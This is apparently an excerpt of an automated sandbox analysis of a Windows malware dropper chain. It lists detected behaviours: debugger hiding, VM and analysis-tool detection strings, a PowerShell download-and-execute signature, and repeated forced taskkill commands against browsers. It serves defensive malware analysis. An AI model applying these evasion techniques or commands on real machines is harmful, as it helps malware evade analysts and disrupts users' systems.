Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1019	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Window / User API: threadDelayed 589
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Window / User API: threadDelayed 483

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

API coverage: 3.5 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2220	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2220	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1408	Thread sleep count: 934 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1408	Thread sleep time: -1868934s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep count: 407 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3276	Thread sleep time: -12210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3836	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6360	Thread sleep count: 843 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6360	Thread sleep time: -1686843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3376	Thread sleep count: 1083 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3376	Thread sleep time: -2167083s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1220	Thread sleep count: 867 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1220	Thread sleep time: -1734867s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep count: 1079 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep time: -2159079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3376	Thread sleep count: 855 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3376	Thread sleep time: -1710855s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep count: 1019 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep time: -2039019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 4712	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 4712	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 5004	Thread sleep count: 93 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 5004	Thread sleep count: 221 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 5004	Thread sleep count: 114 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 2984	Thread sleep count: 297 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 2984	Thread sleep count: 589 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe TID: 2984	Thread sleep count: 483 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00ACDBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A9C2A2 FindFirstFileExW,	6_2_00A9C2A2
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD68EE FindFirstFileW,FindClose,	6_2_00AD68EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_00AD698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00ACD076
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00ACD3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00AD9642
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00AD979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00AD9B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD5C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00AD5C97

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00A642DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 7d57c960f4.exe, 7d57c960f4.exe, 00000048.00000002.3176567072.0000000000EF4000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 7d57c960f4.exe, 00000014.00000002.2853200154.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWyM
Source: skotes.exe, 00000005.00000002.7318455545.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.7318455545.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000014.00000002.2853200154.00000000013A1000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000014.00000002.2853200154.0000000001363000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 0000002E.00000002.3014643048.0000000001243000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3177655961.000000000184C000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3177655961.000000000181A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 7d57c960f4.exe, 0000002E.00000002.3014643048.0000000001218000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.2196618377.0000000000FA4000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2223771556.0000000000774000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmp, 7d57c960f4.exe, 00000014.00000002.2852643837.0000000000EF4000.00000040.00000001.01000000.0000000C.sdmp, 7d57c960f4.exe, 0000002E.00000002.3014179135.0000000000EF4000.00000040.00000001.01000000.0000000C.sdmp, 7d57c960f4.exe, 00000048.00000002.3176567072.0000000000EF4000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareo
Source: 7d57c960f4.exe, 0000002E.00000002.3014643048.0000000001243000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQu

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A202A0 rdtsc

0_2_04A202A0

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ADEAA2 BlockInput,

6_2_00ADEAA2

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A92622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00A92622

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00A642DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005B652B mov eax, dword ptr fs:[00000030h]	5_2_005B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005BA302 mov eax, dword ptr fs:[00000030h]	5_2_005BA302
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A84CE8 mov eax, dword ptr fs:[00000030h]	6_2_00A84CE8

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AC0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_00AC0B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A92622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00A92622
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A8083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00A8083F
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A809D5 SetUnhandledExceptionFilter,	6_2_00A809D5
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A80C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00A80C21

Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 2516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 3496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 6204, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

6_2_00AC1201

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AA2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00AA2BA5

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ACB226 SendInput,keybd_event,

6_2_00ACB226

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AE22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

6_2_00AE22DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe "C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe "C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
